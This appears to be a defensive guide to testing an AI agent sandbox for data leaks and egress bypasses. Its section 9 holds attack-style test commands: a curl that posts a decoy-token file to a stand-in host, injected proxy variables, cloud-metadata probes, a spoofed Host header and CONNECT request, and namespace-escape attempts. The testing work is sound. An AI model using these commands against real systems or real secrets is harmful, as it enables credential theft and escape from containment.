How to Test an AI Agent Sandbox for Data Leaks and Network-Restriction Bypasses — Agent Lab Journal
Agent Lab Journal
Guides
Glossary
Advanced security guide
How to Test an AI Agent Sandbox for Data Leaks and Network-Restriction Bypasses
Advanced
90 minutes
Security engineering
A sandbox is not isolated merely because the agent cannot open a browser. Package managers may inherit proxies, helper processes may retain credentials, DNS may become a covert output path, and a compromised dependency may reach services that the agent itself cannot contact. This guide builds a repeatable test bench that denies arbitrary outbound traffic, plants harmless decoy tokens, records attempted escapes, and proves the controls from several independent observation points.
Contents
Goal and security boundary
Concrete case
Test-bench architecture
Prerequisites and safety rules
Build the isolated workload
Enforce deny-by-default egress
Plant decoy tokens
Collect independent logs
Run the containment test suite
Verify the result
Failure cases and remediation
Limitations
Repeatable checklist
1. Goal and security boundary
An AI-agent sandbox is a constrained execution environment in which model-directed code can read, create, and execute files without receiving the host’s full authority. The test target is not “the container” in isolation. It is the complete path from the agent process through its runtime, kernel, network stack, resolvers, proxies, credential providers, orchestration layer, and external services.
The principal concern is unauthorized egress: any outbound communication not explicitly required by the workload. A successful control should stop arbitrary destinations even when the process changes protocol, uses an inherited proxy, invokes another executable, or tries to encode data in DNS queries.
By the end of the exercise, the bench should demonstrate all of the following:
The sandbox can contact only explicitly approved destinations and ports.
Direct IPv4 and IPv6 connections to arbitrary addresses fail.
Unapproved DNS resolution is unavailable or tightly mediated.
Proxy environment variables and package-manager configuration do not create an alternate route.
Cloud metadata endpoints and host-local services are unreachable.
Decoy secrets are detectable if read, copied, placed in process arguments, or included in an attempted request.
Network denials are logged outside the sandbox’s writable boundary.
Attempts to create namespaces, alter routes, load kernel features, or access the container runtime are denied.
The approved path remains functional, so the result is not a false success caused by a completely broken network.
Authorization boundary
Run these checks only on infrastructure you own or are explicitly authorized to test. Use documentation-only IP ranges, local listeners, and synthetic tokens. Do not send probes to unrelated public systems.
Define success before running anything
Write the expected decision for every flow. An allowlist without a written flow matrix is difficult to audit and easy to expand accidentally.
Source
Destination
Protocol
Expected result
Required evidence
Agent workload
Approved local gateway
TCP 8080
Allow
Gateway request log and successful response
Agent workload
Documentation address 192.0.2.10
TCP 443
Deny
Host firewall drop log
Agent workload
Arbitrary resolver
UDP/TCP 53
Deny
Firewall or DNS-policy log
Agent workload
Link-local metadata address
TCP 80
Deny
Firewall drop log
Agent workload
Host or container-runtime socket
Local socket
Deny
Missing mount plus access-denied event
A denial counts as verified only when the client observes failure and an independent control-plane log identifies the attempted flow. A timeout by itself is ambiguous: it may represent a firewall, a missing route, a dead service, or a test error.
2. Concrete case: the package installer that quietly escapes
Consider an internal coding agent that is allowed to edit a repository and run tests. Internet access is supposed to be disabled. The runtime image nevertheless contains a package manager, and the surrounding job inherits HTTPS_PROXY from the build platform. The proxy accepts any destination reachable from its own network segment.
The agent cannot connect directly to a public address, so a simple curl test appears to confirm isolation. A dependency installation behaves differently: the package manager discovers the inherited proxy and sends the request through it. If a repository token is also present in a configuration file, a malicious package script can read that token and attempt to transmit it along the same path.
This is not a hypothetical test result; it is the concrete failure pattern our bench is designed to detect. The bench does not depend on a real public proxy, a real credential, or a malicious package. It recreates the relevant conditions using:
A local “approved gateway” that records requests without forwarding them to the internet.
A fake proxy variable that should not provide usable connectivity.
A synthetic token that has no authority anywhere.
Host-level firewall logs that the workload cannot modify.
Tests covering direct connections, package tools, DNS, metadata addresses, and local privilege boundaries.
The design follows defense in depth. Network filtering is necessary, but it is not expected to compensate for a writable runtime socket, excessive kernel privileges, exposed cloud credentials, or an untrusted proxy.
3. Test-bench architecture
management / log boundary
┌───────────────────────────────────────────────────────────┐
│ Host │
│ │
│ ┌──────────────────┐ ┌──────────────────────────┐ │
│ │ approved-gateway │ │ host firewall and logs │ │
│ │ 172.30.0.10:8080 │ │ default deny from agent │ │
│ └─────────▲────────┘ └────────────▲─────────────┘ │
│ │ approved flow │ denied flows │
│ ┌─────────┴─────────────────────────────┴──────────────┐ │
│ │ private bridge: agentlab-test │ │
│ │ │ │
│ │ ┌───────────────────────────────────────────────┐ │ │
│ │ │ agent sandbox │ │ │
│ │ │ non-root, read-only root, dropped capabilities│ │ │
│ │ │ decoy files, test scripts, no runtime socket │ │ │
│ │ └───────────────────────────────────────────────┘ │ │
│ └─────────────────────────────────────────────────────┘ │
└───────────────────────────────────────────────────────────┘
Internet forwarding: disabled
Arbitrary sandbox egress: denied
Approved gateway: records locally and does not forward
The bridge is an isolated network namespace attached to a host-controlled virtual interface. The workload has its own network view, but the host enforces the final decision. Keeping enforcement outside the workload matters because a process must not be able to erase the evidence or rewrite its own network policy.
The gateway is deliberately boring. It accepts a request, records the method, path, selected headers, and body length, then returns a fixed response. It does not recursively resolve user-controlled destinations and does not forward requests. This avoids turning the test fixture into an open proxy.
Trust boundaries
Untrusted: prompts, generated code, repository files, package scripts, tools invoked by the agent, and all files writable by that workload.
Partially trusted: the container image and language runtime. They should be reproducible, but a dependency may still be hostile.
Trusted for enforcement: host firewall, container supervisor, immutable runtime policy, and external log collector.
Trusted for evaluation: the operator’s test manifest and expected-outcome matrix.
Use a written threat model to state what is in scope. This bench tests common outbound paths and containment weaknesses. It is not a proof that the kernel, hypervisor, firmware, or container engine has no exploitable vulnerability.
4. Prerequisites and safety rules
The commands below assume a dedicated Linux test host with Docker-compatible container commands and root access to configure the host firewall. Adapt the resource names to your environment. Do not perform the exercise on a shared production node.
Required components
A disposable Linux virtual machine.
A container runtime with user, capability, read-only filesystem, and private-network controls.
nftables on the host.
A minimal workload image containing a shell, curl, Python, and basic network diagnostics.
A separate directory or remote destination for host logs.
No production secrets, cloud instance role, or mounted home directory.
Safety invariants
Use only synthetic data in the sandbox.
Use RFC 5737 documentation networks such as 192.0.2.0/24, 198.51.100.0/24, and 203.0.113.0/24 for unreachable test destinations.
Use the reserved .invalid suffix for names that must never resolve publicly.
Do not mount /var/run/docker.sock, /run/containerd, SSH agents, host credential directories, or the host root filesystem.
Do not use real API keys as detectors. A decoy must be harmless even if every safeguard fails.
Take a VM snapshot before changing firewall policy.
Keep a second administrative session open while testing host firewall rules.
Avoid locking yourself out
Apply the test policy to the dedicated container bridge and its forwarding path, not to all host traffic. Verify the bridge interface name before loading rules. If the interface cannot be resolved unambiguously, stop and inspect the runtime configuration.
Record the initial state
uname -a
docker version
nft --version
docker info
ip -brief address
ip route show
sysctl net.ipv4.ip_forward
sysctl net.ipv6.conf.all.forwarding
Save the output with the test report. Version information is essential when a later runtime or kernel update changes behavior.
5. Build the isolated workload
5.1 Create an internal bridge
Create a network marked internal so the runtime does not intentionally provide external routing:
docker network create \
--driver bridge \
--internal \
--subnet 172.30.0.0/24 \
--gateway 172.30.0.1 \
agentlab-test
Inspect rather than assume:
docker network inspect agentlab-test
ip -brief link
nft list ruleset
Record the actual bridge interface corresponding to agentlab-test. Runtime-generated interface names vary, so the firewall configuration must use the observed value rather than a guessed one.
5.2 Start a non-forwarding approved gateway
The following local Python service records requests to standard output and returns a fixed response. Run it in a small container or image prepared for the test. Its implementation should bind only to the private bridge.
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import sys
import time
class Handler(BaseHTTPRequestHandler):
def record(self):
length = int(self.headers.get("Content-Length", "0"))
body = self.rfile.read(min(length, 8192)) if length else b""
event = {
"time": time.time(),
"client": self.client_address[0],
"method": self.command,
"path": self.path,
"host": self.headers.get("Host"),
"user_agent": self.headers.get("User-Agent"),
"authorization_present": "Authorization" in self.headers,
"body_length": len(body)
}
print(json.dumps(event), flush=True)
def reply(self):
payload = b'{"status":"approved-path-ok"}\n'
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(payload)))
self.end_headers()
self.wfile.write(payload)
def do_GET(self):
self.record()
self.reply()
def do_POST(self):
self.record()
self.reply()
def log_message(self, format, *args):
return
HTTPServer(("0.0.0.0", 8080), Handler).serve_forever()
The log records whether an authorization header was present, but not its value. This is an example of safe telemetry: retain enough context to detect misuse without duplicating sensitive material into another system.
Build the gateway image from a reviewed local file, then start it:
docker run -d \
--name approved-gateway \
--network agentlab-test \
--ip 172.30.0.10 \
--read-only \
--cap-drop ALL \
--security-opt no-new-privileges:true \
--pids-limit 64 \
gateway-test:local
Do not connect this gateway container to a second, internet-capable network. Confirm:
docker inspect approved-gateway
docker exec approved-gateway ip route
docker exec approved-gateway cat /proc/net/route
5.3 Start the sandbox with minimum authority
The workload should follow least privilege. Run as a non-root numeric user, drop all Linux capabilities, prohibit privilege escalation, make the root filesystem read-only, and supply small writable temporary filesystems only where required.
docker run --rm -it \
--name agent-sandbox-test \
--network agentlab-test \
--ip 172.30.0.20 \
--user 65532:65532 \
--read-only \
--tmpfs /tmp:rw,noexec,nosuid,nodev,size=64m \
--tmpfs /work:rw,nosuid,nodev,size=128m \
--cap-drop ALL \
--security-opt no-new-privileges:true \
--pids-limit 256 \
--memory 512m \
--cpus 1 \
--env HOME=/work \
agent-sandbox-test:local \
/bin/sh
Linux capabilities divide traditional root powers into smaller units. Dropping all of them prevents common operations such as changing network configuration, loading modules, tracing unrelated processes, and overriding file permissions. The numeric non-root user remains important because capability removal alone is not a complete identity boundary.
A seccomp policy can further restrict dangerous system calls. Use the runtime’s maintained default profile as a baseline, then consider a workload-specific profile that denies namespace creation, kernel module operations, mount operations, tracing, and less commonly needed kernel interfaces. Validate the application before making the profile mandatory; an untested profile can break legitimate runtimes and create misleading test failures.
5.4 Confirm the absence of dangerous mounts
Inside the sandbox, inspect mount and socket exposure:
id
cat /proc/self/status
cat /proc/self/mountinfo
find /run /var/run -maxdepth 3 -type s -ls 2>/dev/null
find / -maxdepth 3 \( -name '*.sock' -o -name 'docker.sock' \) -ls 2>/dev/null
The runtime socket must be absent. A writable container-runtime socket can effectively grant control over sibling workloads or the host, bypassing the network policy by starting a new privileged process.
6. Enforce deny-by-default egress
An internal runtime network is a useful first barrier, but treat it as a configuration convenience, not the sole enforcement mechanism. Add a host-level forwarding policy that permits only the approved gateway flow and records everything else.
6.1 Resolve exact interfaces and addresses
On the host, identify the bridge interface and verify the assigned addresses:
docker network inspect agentlab-test
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' approved-gateway
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' agent-sandbox-test
ip -brief link
ip -brief address
In the example below, replace BRIDGE_NAME with the inspected bridge interface. Do not paste a placeholder into a live ruleset.
6.2 Add a dedicated nftables table
table inet agentlab_sandbox {
chain forward {
type filter hook forward priority -10; policy accept;
iifname "BRIDGE_NAME" ip saddr 172.30.0.20 \
ip daddr 172.30.0.10 tcp dport 8080 \
ct state new,established counter accept
iifname "BRIDGE_NAME" ip saddr 172.30.0.10 \
ip daddr 172.30.0.20 tcp sport 8080 \
ct state established counter accept
iifname "BRIDGE_NAME" ip saddr 172.30.0.20 \
limit rate 20/minute burst 20 packets \
log prefix "AGENTLAB_EGRESS_DENY " flags all counter drop
iifname "BRIDGE_NAME" ip saddr 172.30.0.20 counter drop
}
}
Load the reviewed file using your operating system’s normal nftables mechanism, then inspect the effective policy:
nft --check -f agentlab-sandbox.nft
nft -f agentlab-sandbox.nft
nft list table inet agentlab_sandbox
The rate limit prevents a noisy workload from exhausting log storage. The second drop rule still blocks packets after logging is rate-limited. Counters provide evidence that additional attempts occurred even when individual log entries were suppressed.
6.3 Block local host services explicitly
Forward filtering does not necessarily cover packets addressed to the host itself. Add an input-chain rule scoped to the test bridge and sandbox address. Preserve established administration flows and verify rule ordering on the disposable host.
table inet agentlab_sandbox_input {
chain input {
type filter hook input priority -10; policy accept;
iifname "BRIDGE_NAME" ip saddr 172.30.0.20 \
limit rate 20/minute burst 20 packets \
log prefix "AGENTLAB_HOST_DENY " flags all counter drop
iifname "BRIDGE_NAME" ip saddr 172.30.0.20 counter drop
}
}
The approved gateway is another container, so its traffic traverses the forwarding path rather than the host input path. If your network implementation differs, confirm packet traversal with counters before finalizing the rule design.
6.4 Address IPv6 deliberately
A policy that filters only IPv4 may leave IPv6 as an alternate path. Determine whether the sandbox has IPv6 addresses, routes, or mapped sockets:
ip -6 address show
ip -6 route show
cat /proc/net/if_inet6
curl -g -6 --max-time 3 'http://[2001:db8::10]/'
Either disable IPv6 for the isolated network through supported runtime configuration or enforce the same deny-by-default decision in an inet ruleset that covers both address families. Do not rely on “we do not use IPv6” without checking the effective namespace.
6.5 Control DNS as a network path
DNS exfiltration encodes information in query names and sends it through a resolver. If the workload does not require DNS, the safest policy is to provide no resolver and deny UDP and TCP port 53. If name resolution is required, use a dedicated resolver that:
Accepts queries only from the sandbox network.
Resolves only approved internal names or an explicit domain set.
Rejects arbitrary recursive queries.
Logs query name, type, source, decision, and response code outside the sandbox.
Limits label length, query rate, uncommon record types, and oversized responses.
Does not trust an agent-controlled hostname merely because its suffix looks approved.
Domain allowlisting must account for rebinding, redirects, aliases, dual-stack answers, and changing addresses. Prefer a trusted gateway that terminates the approved application protocol over direct destination-by-name access.
6.6 Remove proxy escape routes
A forward proxy can turn one permitted connection into access to many destinations. Inspect environment variables in the launcher, sandbox, tool subprocesses, and package-manager configuration:
env | sort | grep -iE '(^|_)(http|https|all|no)_proxy='
git config --list --show-origin 2>/dev/null
npm config list 2>/dev/null
python -m pip config debug 2>/dev/null
find /etc /work -maxdepth 4 -type f \
\( -name '.npmrc' -o -name 'pip.conf' -o -name '.gitconfig' \) \
-print 2>/dev/null
Launch the workload with a clean, explicit environment. Do not pass the host environment wholesale. If a proxy is necessary, it becomes a security enforcement component: authenticate workloads, restrict destinations and methods, reject arbitrary tunnels, resolve names safely, log decisions, and prevent access to private, loopback, link-local, and metadata ranges.
6.7 Deny cloud metadata and private ranges
A cloud instance metadata service may issue temporary credentials to processes that reach a link-local address. The preferred protection is to run the test node without an attached workload identity. Network-deny rules are a second layer, not a reason to attach unnecessary credentials.
Test these classes, using short timeouts:
IPv4 loopback: 127.0.0.0/8.
IPv4 link-local: 169.254.0.0/16.
RFC 1918 private ranges other than the explicitly approved peer.
IPv6 loopback: ::1.
IPv6 link-local: fe80::/10.
Host bridge addresses and orchestration control-plane ranges.
7. Plant harmless decoy tokens
A canary token is synthetic data placed where sensitive data might normally appear so unexpected reads or transmissions become observable. For this bench, use a high-entropy marker with no external authority and a test-specific identifier.
7.1 Generate the markers
Generate values locally for this run. Do not copy the literal examples into a long-lived test:
python - <<'PY'
import secrets
print("AGENTLAB_DECOY_FILE_" + secrets.token_hex(24))
print("AGENTLAB_DECOY_ENV_" + secrets.token_hex(24))
print("AGENTLAB_DECOY_CONFIG_" + secrets.token_hex(24))
PY
Record a one-way digest in the operator’s test manifest. Keep the full values only in the disposable fixture and a protected evaluator file:
printf '%s' "$DECOY_FILE_VALUE" | sha256sum
printf '%s' "$DECOY_ENV_VALUE" | sha256sum
printf '%s' "$DECOY_CONFIG_VALUE" | sha256sum
A digest helps correlate a discovered value without copying the token into every log. Do not assume hashing makes a low-entropy secret safe; these decoys must be random.
7.2 Place decoys in representative locations
Use separate markers so the source can be identified:
A read-only file resembling a tool credential file.
An environment variable resembling a service token.
A repository-local configuration file.
A command-line argument supplied to a controlled helper, if process visibility is in scope.
Do not name a decoy after a real provider or format it as a valid production credential. A neutral pattern prevents accidental submission to a real API and avoids training operators to handle authentic-looking secrets casually.
7.3 Detect access, not only successful transmission
Network controls can show attempted transmission, but they may not show that the agent read a file and retained it in memory. On the host, add file-access auditing for the decoy path or use an equivalent eBPF-based observer. The audit rule must be installed outside the sandbox:
auditctl -w /path/to/test-fixture/decoy-token -p r -k agentlab_decoy_read
ausearch -k agentlab_decoy_read
Bind-mount the fixture read-only into the sandbox only for the test that requires it. The path shown above is illustrative; resolve the exact host path and confirm that it contains no real data.
For higher assurance, observe process execution and network system calls from the host. Useful fields include container identity, process identity, executable, destination address, destination port, result code, and timestamp. Avoid collecting complete request bodies by default.
7.4 Search logs safely
Search using the test identifier or digest where possible. If the full token must be searched, run the search in a protected evaluation environment and redact the value from reports.
grep -R -F 'AGENTLAB_DECOY_' /var/log/agentlab-test
journalctl --since '10 minutes ago' | grep -F 'AGENTLAB_'
ausearch -k agentlab_decoy_read
8. Collect independent logs
The minimum evidence set should come from at least three layers:
Workload observation: command, exit status, timeout, and error text.
Enforcement observation: firewall decision, counters, source, destination, port, protocol, and timestamp.
Approved-gateway observation: whether the allowed path arrived and whether a decoy indicator appeared.
Add DNS and file-access observations when those paths are tested. Store the authoritative copy beyond the workload’s write access.
8.1 Capture firewall events
journalctl -k -f \
| grep --line-buffered -E 'AGENTLAB_(EGRESS|HOST)_DENY'
In another administrative session, capture counters before and after the suite:
nft -a list table inet agentlab_sandbox
nft -a list table inet agentlab_sandbox_input
8.2 Capture gateway events
docker logs --since 5m --timestamps approved-gateway
docker logs -f --timestamps approved-gateway
If the gateway logs are retained through the container runtime, protect the host log directory from sandbox mounts. For a durable system, ship them to an append-oriented collector with retention and access controls.
8.3 Use a shared test identifier
Assign each run a random identifier and include it in approved requests and test records:
RUN_ID="agentlab-$(date -u +%Y%m%dT%H%M%SZ)-$(openssl rand -hex 6)"
printf '%s\n' "$RUN_ID"
Do not treat the run identifier as secret. Its purpose is correlation. Record clocks and confirm that the host, gateway, and evaluator agree closely enough for event matching.
8.4 Define a compact event schema
{
"run_id": "test-run-identifier",
"time": "UTC timestamp",
"layer": "workload|firewall|dns|gateway|file-audit",
"test_id": "EGR-01",
"source": "sandbox identity",
"destination": "address or approved service",
"protocol": "tcp|udp|local",
"port": 443,
"decision": "allow|deny|observe",
"result": "normalized result",
"decoy_indicator": false
}
Normalization makes tests comparable across runtime versions. Keep raw logs as evidence, but evaluate pass or fail from a small, documented schema.
9. Run the containment test suite
Run each test manually first, then automate it. Use short connection timeouts so a deliberate drop does not stall the suite. Capture standard output, standard error, exit status, start time, and end time.
9.1 Positive control: approved gateway
curl --noproxy '*' \
--connect-timeout 2 \
--max-time 5 \
-H "X-AgentLab-Run: $RUN_ID" \
http://172.30.0.10:8080/health
Expected: HTTP 200 with approved-path-ok; one matching gateway event; an increment in the allow-rule counter; no deny event.
If this fails, stop. A suite in which every connection fails cannot distinguish intentional filtering from a broken network.
9.2 Direct IPv4 egress
curl --noproxy '*' \
--connect-timeout 2 \
--max-time 4 \
http://192.0.2.10/
python - <<'PY'
import socket
s = socket.socket()
s.settimeout(3)
try:
s.connect(("198.51.100.20", 443))
print("UNEXPECTED_CONNECT")
except OSError as exc:
print(type(exc).__name__, str(exc))
finally:
s.close()
PY
Expected: both connections fail; the host firewall records the source, destination, and port; the deny counter increases.
9.3 Direct IPv6 egress
curl -g -6 --noproxy '*' \
--connect-timeout 2 \
--max-time 4 \
'http://[2001:db8::10]/'
Expected: failure because no IPv6 route exists or because the host denies the flow. Document which control produced the result. If the namespace unexpectedly has globally routable IPv6, treat that as a critical test-bench defect.
9.4 DNS path
getent hosts "$RUN_ID.egress-test.invalid"
python - <<PY
import socket
name = "${RUN_ID}.egress-test.invalid"
try:
print(socket.getaddrinfo(name, 443))
except OSError as exc:
print(type(exc).__name__, str(exc))
PY
Expected: no public resolution. If DNS is disabled, the call fails locally or a port-53 denial appears. If a controlled resolver is present, its log must show a rejected query. A query reaching an uncontrolled recursive resolver is a failure even though .invalid returns no address.
9.5 Explicit proxy variables
export HTTP_PROXY='http://192.0.2.55:3128'
export HTTPS_PROXY='http://192.0.2.55:3128'
export ALL_PROXY='socks5://192.0.2.55:1080'
curl --connect-timeout 2 --max-time 4 http://example.invalid/
curl --connect-timeout 2 --max-time 4 https://example.invalid/
Expected: connection failure and denied attempts to the proxy addresses. Then restart the sandbox from the clean launcher and verify that these variables are absent. The purpose is to prove both that the network blocks an injected proxy and that normal launches do not inherit one.
9.6 Package-manager paths without downloading packages
Do not contact a real package repository. Point each tool at a reserved destination and request metadata only:
python -m pip index versions test-package-name \
--index-url http://192.0.2.60/simple/ \
--timeout 2 \
--retries 0
npm view test-package-name version \
--registry=http://192.0.2.61/ \
--fetch-timeout=2000 \
--fetch-retries=0
git -c http.proxy= \
ls-remote http://192.0.2.62/test/repository.git
Expected: every attempt fails and maps to a firewall denial. Review tool output for evidence that a global proxy, mirror, credential helper, or alternate registry was used instead of the supplied destination.
9.7 Metadata and link-local access
curl --noproxy '*' \
--connect-timeout 2 \
--max-time 4 \
http://169.254.169.254/
ip route get 169.254.169.254
Expected: no response and a logged denial if a route is attempted. The node should also have no workload identity capable of issuing credentials. Do not add cloud-specific metadata headers or credential paths; proving the network boundary does not require requesting sensitive material.
9.8 Host and bridge addresses
Resolve the bridge gateway from the network inspection, then test representative host ports that are known to be closed or protected:
curl --noproxy '*' \
--connect-timeout 2 \
--max-time 4 \
http://172.30.0.1:8080/
python - <<'PY'
import socket
for port in (22, 2375, 2376, 6443, 10250):
sock = socket.socket()
sock.settimeout(1)
try:
sock.connect(("172.30.0.1", port))
print(port, "UNEXPECTED_CONNECT")
except OSError as exc:
print(port, type(exc).__name__)
finally:
sock.close()
PY
Expected: all attempts denied by the host-input policy. Do not infer safety from “connection refused”; refusal proves the port was closed at that moment, not that the sandbox is prohibited from reaching host services.
9.9 Alternate protocol and port checks
Test UDP as well as TCP. A small Python probe avoids dependence on optional utilities:
python - <<'PY'
import socket
targets = [
("192.0.2.70", 53),
("198.51.100.70", 123),
("203.0.113.70", 443),
]
for host, port in targets:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(1)
try:
sock.sendto(b"AGENTLAB_UDP_TEST", (host, port))
try:
data, peer = sock.recvfrom(512)
print(host, port, "UNEXPECTED_RESPONSE", peer, len(data))
except socket.timeout:
print(host, port, "NO_RESPONSE")
finally:
sock.close()
PY
Expected: no responses and increments in the deny counter. Because UDP clients may report a successful local send even when the packet is later dropped, client exit status is not sufficient evidence; the firewall observation is decisive.
9.10 Decoy read and attempted transmission
First read the synthetic fixture under controlled conditions to verify that file monitoring works:
test -r /fixtures/decoy-token
wc -c < /fixtures/decoy-token
Expected: a host file-access event linked to the sandbox identity. The command avoids printing the value.
Next, attempt to send a known test marker—not a real secret—to a denied documentation address:
curl --noproxy '*' \
--connect-timeout 2 \
--max-time 4 \
-H 'X-AgentLab-Test: decoy-transmission-attempt' \
--data-binary @/fixtures/decoy-token \
http://192.0.2.80/collect
Expected: a decoy read event and a firewall denial, with no gateway event. The firewall usually cannot see the HTTP header or body because the connection never completes; correlation relies on the test ID, process observation, and timing.
Finally, send a non-secret marker to the approved gateway:
curl --noproxy '*' \
--connect-timeout 2 \
--max-time 4 \
-H "X-AgentLab-Run: $RUN_ID" \
-H 'X-AgentLab-Test: approved-observation-path' \
--data 'synthetic-observation-marker' \
http://172.30.0.10:8080/observe
Expected: success and a gateway record. This proves the detector sees relevant traffic when it traverses the one approved path.
9.11 Namespace, route, and interface changes
unshare --user --map-root-user --net true
ip link add agentlab-dummy type dummy
ip route add 192.0.2.0/24 via 172.30.0.1
mount -t tmpfs tmpfs /mnt
Expected: all operations fail under the selected runtime and security profile. Exact error text varies. If user namespaces are intentionally available for application compatibility, document that exception and prove that nested networking still cannot acquire an external interface or alter host enforcement.
9.12 Privilege and process-boundary checks
id
grep -E '^(Cap|NoNewPrivs|Seccomp):' /proc/self/status
test ! -S /var/run/docker.sock
test ! -S /run/containerd/containerd.sock
find /proc/1/root -maxdepth 1 -print 2>/dev/null
ls -la /proc/1/fd 2>/dev/null
Expected: non-root identity, empty effective capabilities, NoNewPrivs enabled, the expected seccomp mode, no runtime sockets, and no unexpected access to a host process filesystem.
9.13 Redirect and parser checks on the approved gateway
If the production design permits an application gateway, test its interpretation boundaries. The gateway should not accept an arbitrary URL parameter, Host override, CONNECT tunnel, or redirect destination and then fetch it. This class of weakness can become server-side request forgery.
For the non-forwarding fixture in this guide, send representative inputs and verify that it only returns the fixed response:
curl --noproxy '*' \
--max-time 4 \
-H 'Host: 169.254.169.254' \
'http://172.30.0.10:8080/fetch?url=http://192.0.2.90/'
curl --noproxy '*' \
--max-time 4 \
-X CONNECT \
'http://172.30.0.10:8080/192.0.2.90:443'
Expected: no secondary connection and no forwarding behavior. The fixture may return its fixed response or reject the method. Confirm using firewall counters and gateway logs, not only the client response.
9.14 Resource-exhaustion checks
Containment also depends on the sandbox being unable to disable monitoring through resource exhaustion. Run bounded tests only:
ulimit -a
cat /sys/fs/cgroup/memory.max 2>/dev/null
cat /sys/fs/cgroup/pids.max 2>/dev/null
cat /sys/fs/cgroup/cpu.max 2>/dev/null
python - <<'PY'
import subprocess
children = []
for _ in range(300):
try:
children.append(subprocess.Popen(["true"]))
except OSError as exc:
print("LIMIT_REACHED", type(exc).__name__, str(exc))
break
for child in children:
child.wait()
print("started", len(children))
PY
Expected: the configured process limit is enforced without harming the host logger or gateway. Avoid unbounded fork bombs, disk-filling loops, or memory bombs; they add operational risk without improving the conclusion.
10. Verify the result
Evaluate each test against a predeclared oracle. Do not mark a test as passed merely because the command returned non-zero.
Test class
Client evidence
Independent evidence
Pass condition
Approved flow
HTTP 200
Gateway event and allow counter
All present and correlated
Denied TCP
Connection failure
Drop event or counter increment
Destination and test window match
Denied UDP
No response
Drop counter increment
Packet observed and denied
DNS
No result
Port-53 denial or controlled resolver rejection
No uncontrolled resolver receives query
Decoy read
Controlled read completes
File-access event
Event identifies sandbox process
Decoy transmission attempt
Request fails
Read event plus network denial
No approved-gateway receipt
Privilege boundary
Operation denied
Runtime policy and process state
No capability or socket bypass exists
Verification procedure
Record the start timestamp, run identifier, image digest, runtime version, kernel version, network inspection, and firewall ruleset.
Capture baseline firewall counters.
Run the approved positive control.
Run one negative test at a time during manual validation.
Match client, firewall, DNS, gateway, and file-audit events by timestamp and test ID.
Capture final counters.
Verify that no unexpected gateway requests occurred.
Verify that the sandbox cannot alter or delete authoritative logs.
Restart the sandbox and repeat a representative subset to detect state-dependent behavior.
Restart the host and confirm that the intended policy persists before relying on the bench for regression testing.
Automated assertion model
PASS if:
positive_control.client_status == 0
and positive_control.gateway_matches == 1
and positive_control.deny_matches == 0
PASS denied_flow if:
denied_flow.client_status != 0
and denied_flow.firewall_drop_delta >= 1
and denied_flow.gateway_matches == 0
PASS decoy_attempt if:
decoy_attempt.file_read_matches >= 1
and decoy_attempt.firewall_drop_delta >= 1
and decoy_attempt.gateway_decoy_matches == 0
FAIL CLOSED if:
any evidence source is unavailable
or event timestamps cannot be correlated
or the expected policy cannot be identified
“Fail closed” in the evaluator means an incomplete observation cannot produce a green report. It does not mean every workload operation must be blocked.
Test report fields
Run ID and UTC interval.
Operator and authorization reference.
Host, kernel, runtime, and image digests.
Effective sandbox flags and security profiles.
Network topology and exact firewall rules.
Expected and observed result for every test.
Raw-log locations and retention period.
Unexpected flows, missing evidence, and accepted exceptions.
Remediation owner and retest requirement.
11. Failure cases and remediation
The direct request fails, but no firewall event exists
The destination may be unrouted, the command may have failed before opening a socket, or the packet may have traversed another interface. Confirm the destination, inspect routes, capture rule counters, and temporarily use host-side packet observation scoped to the test bridge. Do not claim enforcement until the responsible control is identified.
The package manager reaches a different address
A mirror, proxy, global configuration, credential helper, or registry override is active. Inspect configuration origins and the sanitized launch environment. Rebuild from a minimal image if the source cannot be explained. Package tools should not receive broader network authority than the agent.
DNS queries leave even though TCP is blocked
The policy omitted UDP/TCP 53, the runtime injected a resolver, or the host resolver is reachable through a special path. Remove unnecessary resolver configuration or direct all queries to a controlled resolver with an explicit policy. Check IPv6 DNS servers as well.
The sandbox reaches the host bridge address
The forwarding chain does not govern traffic destined for the host. Add an input-chain policy scoped to the sandbox bridge and source. Confirm that host services bind only where needed and require authentication independently of network placement.
The approved gateway can reach the internet
The gateway is attached to an additional network or the host forwards its traffic. Remove the second attachment and add a gateway-specific outbound policy. An approved gateway that can fetch arbitrary destinations is not a narrow exception; it is an egress relay.
A proxy accepts unrestricted CONNECT requests
Restrict destination identities, ports, methods, address classes, redirects, and name resolution. Prefer application-specific operations over generic tunnels. Authenticate the sandbox workload independently so one environment cannot borrow another environment’s policy.
A decoy appears in gateway logs
Treat the event as evidence that the workload accessed and attempted to move protected-looking data through an approved channel. The network allowlist worked as configured, but the application-layer policy was insufficient. Add outbound request schemas, header filtering, body-size limits, secret scanning where appropriate, and operation-specific authorization. Rotate the synthetic fixture anyway so subsequent tests remain distinguishable.
The decoy was read, but no access event exists
The audit path may reference the wrong host inode, the bind mount may obscure the watched object, or the observer may not cover the relevant syscall. Verify with a controlled read from the exact sandbox mount and correlate device/inode identities. Monitoring must be tested like any other security control.
The agent can create a nested network namespace
Review user-namespace policy, capabilities, seccomp configuration, and runtime flags. A nested namespace does not automatically grant connectivity, but it expands attack surface and complicates observation. Deny it unless the workload has a documented requirement.
The container can inspect or control sibling processes
Check PID namespace configuration, procfs mounts, ptrace permissions, shared volumes, runtime sockets, and excessive capabilities. Network restrictions cannot contain a workload that can commandeer a better-connected sibling.
Rules disappear after restart
The test used an ephemeral runtime rule rather than the host’s managed firewall configuration. Integrate the policy with the system service or orchestration control plane, test boot ordering, and rerun the full suite after reboot.
Everything is blocked, including the positive control
Inspect bridge identity, rule order, address assignment, gateway listener, and return traffic. Keep the positive control first in the suite. A total outage is not proof of correct selective containment.
Logs contain complete tokens or request bodies
Reduce collection to presence flags, digests, lengths, test identifiers, and selected non-sensitive metadata. Restrict access and retention for already collected logs. Observability must not become a new secret-distribution channel.
12. Limitations
This test bench provides strong evidence about a defined configuration at a defined time. It does not prove universal isolation.
Kernel vulnerabilities: a container shares the host kernel. A previously unknown or unpatched kernel flaw may cross the boundary. Higher-risk workloads may require a microVM or dedicated VM.
Runtime vulnerabilities: container engine, shim, image parser, and orchestration defects remain possible. Patch and minimize these components.
Allowed-channel leakage: any approved service can carry data unless application-layer policy constrains methods, fields, sizes, and destinations.
Side channels: timing, resource contention, shared caches, and other covert channels are not comprehensively tested here.
